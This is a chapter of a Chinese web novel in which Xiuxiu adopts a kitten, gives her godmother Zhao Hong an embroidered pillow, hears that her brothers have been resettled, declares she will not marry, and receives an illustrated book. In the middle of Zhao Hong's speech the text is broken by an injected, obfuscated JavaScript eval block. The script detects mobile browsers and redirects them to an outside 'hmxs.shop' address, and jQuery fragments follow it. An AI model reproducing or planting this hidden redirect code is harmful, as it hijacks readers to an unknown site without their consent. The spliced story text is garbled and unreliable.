待钊虹生辰宴席酒阑人散，李聿方才知道，白日里秀秀那声“哎呀”是缘何而起。


    今日宴后，女眷们都去了内院，坐在一块儿吃凉果说闲话，倒茶的功夫，小丫鬟一时疏忽将热茶沏在了秀秀身上，秀秀不气不恼，和和气气说了几句漂亮话，便回园子更衣去了。


    谁料回去路上，路过书房，一只不知哪里来的小白猫蹑手蹑脚趴在了她脚上，看得秀秀心口一软，她思量一番，便将小猫抱回了锦心园。


    给小猫洗过擦过，这才带着它来找李聿。


    姐弟俩正一块瞧着它吃饭，通体雪白，身子瘦弱的小猫战战兢兢地舔着稀粥，李聿在其身上摸来抚去，喜欢得不得了。


    秀秀趁机问：“它来了家里，我觉着就是缘分，寅生，咱们留下它可好？”


    李聿闻言抬头，眼睛一转：“秀秀姐姐所言极是，雪猫是祥瑞，人家上门来给娘祝寿，咱们可没有把祥瑞赶出去的道理！”


    言罢，姐弟俩笑作一团，搭伙壮着胆儿，就把小猫留了下来。


    李聿问：“是该给它取个名儿，姐姐可有心思？”


    秀秀摇摇头：“你读书多，你来取吧。”


    李聿直言：“取个名儿又跟读书有多少干系？俗气名儿才好养活！文绉绉的名儿，叫起来舌头都打结。依我看，庆喜这名儿就不错！”


    此话一出，秀秀当即笑出来：“后厨婆子家的孙儿就叫庆喜！还是换个吧。”她稍作思忖，问，“这猫是个公的，不如唤它庆哥儿？”


    李聿笑道：“庆哥儿甚好！”


    于是，庆哥儿这名字便就叫下了，随后李聿要去温习功课，秀秀便带着庆哥儿又回了园子。


    此时在她卧房的桌上，正搁着一个大红包袱。秀秀踌躇片刻，还是打开了包袱。


    里面正窝着一个缎面绣花枕头。


    枕面上是一架虹霓，五彩缤纷，仔细看，在角落还有一个不算规整的“虹”字，虽说不上技艺绝伦，但也是个精致物件，打眼一瞧，便知道做枕头的必定费了辛勤。


    这是枕头是秀秀自己做的，枕面上的刺绣是她每日空闲时，一针一线绣出来的。她从后厨杂役嘴里听说过，格物的学士们认为“虹”是淫/征，所以那群嚼舌根的碎嘴子说钊虹也定是淫/奔之女，可这群人，还要仰仗钊虹才能吃上饭。


    她从来不觉得虹是什么邪晦之物，在学钊虹的名字时，李聿便同她讲过，虹是日光影射雨气才能看见的自然现象。她知道霓虹是顶顶张扬艳丽的物事，那群人只是忌妒钊虹这样能耐的女人。


    秀秀自然明白，旁人的善心好意不是理所当然，逢场作戏也好，临时起意也罢，钊虹给了她数不尽的恩情，哪怕最后分道扬镳，她也该知恩图报。


    可这只是一个普通枕头。


    她觉得最能拿出手的东西，也不过是一个枕头。


    秀秀皱着眉头看了很久，直到翠鸾进来，走上前说：“姑娘挑了这些日子的夜灯，难不成要白瞎了那些灯油？夫人可不是嫌贫爱富的人，这样用心的枕头，她不知道该多欢喜！”


    秀秀无力抿了抿嘴，又把包袱系上，犹豫不决，最后还是挎着包袱去了钊虹院子里。


    “年前您提起总落枕，我想着荞麦枕头枕着舒服，就去买了几斤荞麦壳，这填馅都是我挑干洗净又晒过的，就是绣面，绣得比不上外头买的.......”


    秀秀话音未落，钊虹拿出枕头端详，好一会儿，才把枕头放下，半揽上秀秀手臂，眼里俱是笑意：“都说闺女是小棉袄，这哪是小棉袄，活脱脱是个暖炉！”她又问，“这绣花，可是费了不少心思吧。给我瞧瞧你的手。”


    一只手伸到秀秀手边，她垂下眼道：“我打小没学过女红，以前都是缝缝补补，绣花这事儿离不了翠鸾红莺教我，还有字，也是寅生教着写的，多亏了他们，总算提前做好了。”


    她的手不好看，在王家沟常年帮着爹娘干农活，去了胡家更是从未歇过一天，自打认了干娘，方才过上几天好日子，可学艺的手，是无论如何也和细嫩柔荑沾不上边的。


    钊虹看见指尖几个新旧针眼交错，捂上这双瘦削干瘪的手，颇为欣慰地开口：“受累了，你有这份心，比什么礼都强。”


    秀秀闻言笑笑，一双眼睛又弯起来，不见累倦，不见苦愁，只看得欢欣喜意。


    转瞬，钊虹再次开口，令她僵在了原地。


    “前些日子，我瞒着你去打听了你老家的爹和兄弟。”


    此话一出，秀秀脸上笑容凝滞，从那日在码头见过周允，至今已十日有余，尽管一个字也未曾泄露，可她不免终日惶惶，既担心被钊虹发现，又担心到时候...什么都没了。


    可如今，钊虹竟然说，她早就去打听过了？


    钊虹说：“你爹因着滥赌，被要债的打个半死，又把两个孩子都卖了出去，我便托人又给买过来，都安置在了阳城一户富贵人家做小厮，小的那个岁数小，做学徒是苦了些，可兄弟俩在一块，也好有个照应。阳城地远，也免得你爹再去找麻烦。你这个爹，我也不曾打算帮衬什么，活不活得过这个冬天，就看他造化。”


    秀秀一时怔忪，眼泪夺眶而出。


    原来竟是她小人之见了。


    干娘何曾不允她打听过老家的事？甚至如今还帮她安置好了兄弟。


    钊虹揪出帕子给她擦眼泪：“你这丫头，怎么动不动就要掉珠子？是不满意我的安排还是心疼你爹？”


    秀秀匆匆摇头：“干娘这般周到大度，我......我实在是无以为报。”


    钊虹笑笑，指着膝上枕头道：“这谢礼我满意得很！”见秀秀仍抽搭不停，她忙扯开话题，“跟我说说，今日有哪家公子可入了我们家秀秀的眼？”


    秀秀脸上的感激顿时变成一抹局促，安置好她兄弟，是要把她嫁出去吗？


    秀秀咬了咬唇，没张嘴。


    钊虹都看在眼里：“干娘也是娘，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632998|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    做娘的自是尊重你的意思，有什么心意，大胆告与我便是，娘俩之间，又有什么话是不能说的？”


    秀秀眨眨眼，像是给自己打气般抬起头来，看着钊虹，神色郑重地开口：“自打进了胡家，我便知道，婚姻对于那不能独自安身立命的女子，说是吃人的妖怪也不为过。干娘，我从逃出来那日，便下了决心，绝不做那依附他人的金丝雀儿，更不做那被人驯服的胭脂马，进了金鼎轩又认了师父，我是要做和您一样的风雨霓虹啊！”


    “古往今来，多少人教唆女子找个靠山，可手心朝上的日子哪是好过的？见了您我才知道，女子也是半边天，女子便能做自己的靠山。只有自己有了本领，那名利、敬重，才是实打实的呢，更别提给自己做主的机会了，这才是最珍贵的东西！”


    “干娘，秀秀在这儿望您成全，待学成之后，您若是......我也绝不拖累您！”


    言至于此，秀秀一脸决绝，铿锵有力，这是她的心里话，如今一股脑儿倒出来，松缓不少，可又不免慌乱。她相信钊虹绝非迂腐短浅之人，可若是钊虹不接受，她也认了。


    谁料钊虹却是眼中一亮：“真真没有看错你，好孩子，这才是个像样儿的！你能这样想，我这做娘的开心尚且来不及，又怎么会嫌弃？只要我钊虹维持得住一日局面，那定是要让自家闺女成才才是！”


    娘俩儿又说了好一番体己话，如遇知音，相见恨晚。


    用了饭，姐弟俩又去书房学字，外头小厮来报：“少爷，周公子遣人送来两副函套，说是给您的。”


    李聿接过，打开一看，一本是棋谱，一本是《千字文》。


    棋谱他明白，不然兄送的定是精妙棋局，可这《千字文》，他七岁便就不用了。


    惑然之际，李聿灵光一现，把这本《千字文》交到秀秀手里：“这本书最适合蒙学识字了！秀秀姐姐，你且收着看，不懂的便问我，对你识字定大有增益。”


    秀秀接过来，只见函套里的小书颇为风雅，心中十分欢喜，小心将书搁置一旁。


    待回到锦心园，又去偏屋逗弄了一番庆哥儿，她这才回去歇下，端坐镜前，打开书一看，十不识一，略为懊恼，又翻几页，方才知晓，原来这单薄小书内有乾坤。


    只见书中夹着数张大纸，展开竟是图画和文字注释，明白如话，浅显易懂，她一时看入了神。


    翠鸾见她这般专注，轻手轻脚过去，小声提醒：“姑娘，该沐浴了。”


    秀秀答应着，却仍是垂着头，翠鸾瞟过去一眼，笑道：“少爷真是个有心的，这图解定是费了不少心思。”


    秀秀身子恍然定住，想起这是谁送来的本子，又不便对翠鸾说她猜错，只微微一笑，默而不答，随后便麻利合起书来，收进匣子里，快步沐浴去了。


    翠鸾和红莺都不明白，为何今晚姑娘沐浴时间格外长，也不知道，为何翌日晨起时，姑娘眼下一片乌青，同她说话，她也心不在焉似的。